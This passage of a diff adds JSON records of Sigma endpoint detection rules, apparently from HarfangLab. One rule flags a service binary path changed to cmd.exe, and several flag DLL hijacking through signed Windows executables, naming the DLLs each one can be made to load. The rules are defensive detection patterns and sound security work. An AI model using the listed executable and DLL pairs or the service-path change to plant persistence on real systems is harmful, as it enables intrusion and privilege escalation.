+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075415Z",
+  "creation_date": "2026-03-23T11:45:34.075417Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075421Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe",
+    "https://attack.mitre.org/techniques/T1574/011/"
+  ],
+  "name": "t1574_011_cmd_registered_as_service_path.yml",
+  "content": "title: Service Binary Path Modified to cmd.exe\nid: 9d965041-1ded-463b-8d40-a6c515dd2f80\ndescription: |\n    Detects the modification of a service's binary path to point to cmd.exe.\n    Attackers can modify a service binPath to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n    It is recommended to investigate the file pointed to by the new binary path to determine the legitimacy of this action.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe\n    - https://attack.mitre.org/techniques/T1574/011/\ndate: 2022/12/23\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.011\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\\\*\\ImagePath'\n        Details|endswith: 'cmd.exe'\n\n    exclusion_cybereason:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\CybereasonTI\\ImagePath'\n        Details: '?:\\Program Files\\Cybereason ActiveProbe\\ActiveConsole\\CrEX3.exe*?:\\windows\\system32\\cmd.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9d965041-1ded-463b-8d40-a6c515dd2f80",
+  "rule_name": "Service Binary Path Modified to cmd.exe",
+  "rule_description": "Detects the modification of a service's binary path to point to cmd.exe.\nAttackers can modify a service binPath to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\nIt is recommended to investigate the file pointed to by the new binary path to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9da1e50d-8816-4c2f-a3f0-3d0e1965cb26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594860Z",
+  "creation_date": "2026-03-23T11:45:34.594864Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594888Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systemsettingsremovedevice.yml",
+  "content": "title: DLL Hijacking via SystemSettingsRemoveDevice.exe\nid: 9da1e50d-8816-4c2f-a3f0-3d0e1965cb26\ndescription: |\n    Detects potential Windows DLL Hijacking via SystemSettingsRemoveDevice.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SystemSettingsRemoveDevice.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\dui70.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9da1e50d-8816-4c2f-a3f0-3d0e1965cb26",
+  "rule_name": "DLL Hijacking via SystemSettingsRemoveDevice.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via SystemSettingsRemoveDevice.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9dd6a5c1-3a12-4223-b36e-4fe69eb7a91e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592923Z",
+  "creation_date": "2026-03-23T11:45:34.592927Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592934Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://twitter.com/StopMalvertisin/status/1687741617711820800?t=KgdZvNrfpQ0LQ0S3k_QjLQ&s=19",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wsatconfig.yml",
+  "content": "title: DLL Hijacking via wsatconfig.exe\nid: 9dd6a5c1-3a12-4223-b36e-4fe69eb7a91e\ndescription: |\n    Detects potential Windows DLL Hijacking via wsatconfig.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://twitter.com/StopMalvertisin/status/1687741617711820800?t=KgdZvNrfpQ0LQ0S3k_QjLQ&s=19\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/08/22\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wsatconfig.exe'\n        ImageLoaded|endswith: '\\sysglobl.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\'\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\'\n            - '?:\\Windows\\Microsoft.NET\\assembly\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\'\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\'\n            - '?:\\Windows\\Microsoft.NET\\assembly\\'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9dd6a5c1-3a12-4223-b36e-4fe69eb7a91e",
+  "rule_name": "DLL Hijacking via wsatconfig.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wsatconfig.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-08-22",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9e1a1a4d-470d-4a6b-a253-bc8772d2410b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588745Z",
+  "creation_date": "2026-03-23T11:45:34.588749Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588757Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rdpsauachelper.yml",
+  "content": "title: DLL Hijacking via rdpsauachelper.exe\nid: 9e1a1a4d-470d-4a6b-a253-bc8772d2410b\ndescription: |\n    Detects potential Windows DLL Hijacking via rdpsauachelper.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rdpsauachelper.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9e1a1a4d-470d-4a6b-a253-bc8772d2410b",
+  "rule_name": "DLL Hijacking via rdpsauachelper.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rdpsauachelper.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9e1ebf81-bb2e-42dc-885c-9369dfefad84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081594Z",
+  "creation_date": "2026-03-23T11:45:34.081596Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081601Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mdmdiagnosticstool.yml",
+  "content": "title: DLL Hijacking via mdmdiagnosticstool.exe\nid: 9e1ebf81-bb2e-42dc-885c-9369dfefad84\ndescription: |\n    Detects potential Windows DLL Hijacking via mdmdiagnosticstool.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mdmdiagnosticstool.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\dmEnrollEngine.DLL'\n            - '\\dmiso8601utils.dll'\n            - '\\DynamoAPI.dll'\n            - '\\iri.dll'\n            - '\\MdmDiagnostics.dll'\n            - '\\omadmapi.dll'\n            - '\\policymanager.dll'\n            - '\\tbs.dll'\n            - '\\USERENV.dll'\n            - '\\WINHTTP.dll'\n            - '\\WININET.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9e1ebf81-bb2e-42dc-885c-9369dfefad84",
+  "rule_name": "DLL Hijacking via mdmdiagnosticstool.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mdmdiagnosticstool.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9e465662-94b6-4aa5-a6b8-523e0ed2f673",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078337Z",
+  "creation_date": "2026-03-23T11:45:34.078339Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078344Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mrt.yml",
+  "content": "title: DLL Hijacking via mrt.exe\nid: 9e465662-94b6-4aa5-a6b8-523e0ed2f673\ndescription: |\n    Detects potential Windows DLL Hijacking via mrt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mrt.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\userenv.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9e465662-94b6-4aa5-a6b8-523e0ed2f673",
+  "rule_name": "DLL Hijacking via mrt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mrt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9e6f6cc7-006a-47b5-8653-d1d73fa0e2d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095551Z",
+  "creation_date": "2026-03-23T11:45:34.095553Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095557Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mschedexe.yml",
+  "content": "title: DLL Hijacking via mschedexe.exe\nid: 9e6f6cc7-006a-47b5-8653-d1d73fa0e2d9\ndescription: |\n    Detects potential Windows DLL Hijacking via mschedexe.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mschedexe.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\MaintenanceUI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9e6f6cc7-006a-47b5-8653-d1d73fa0e2d9",
+  "rule_name": "DLL Hijacking via mschedexe.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mschedexe.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
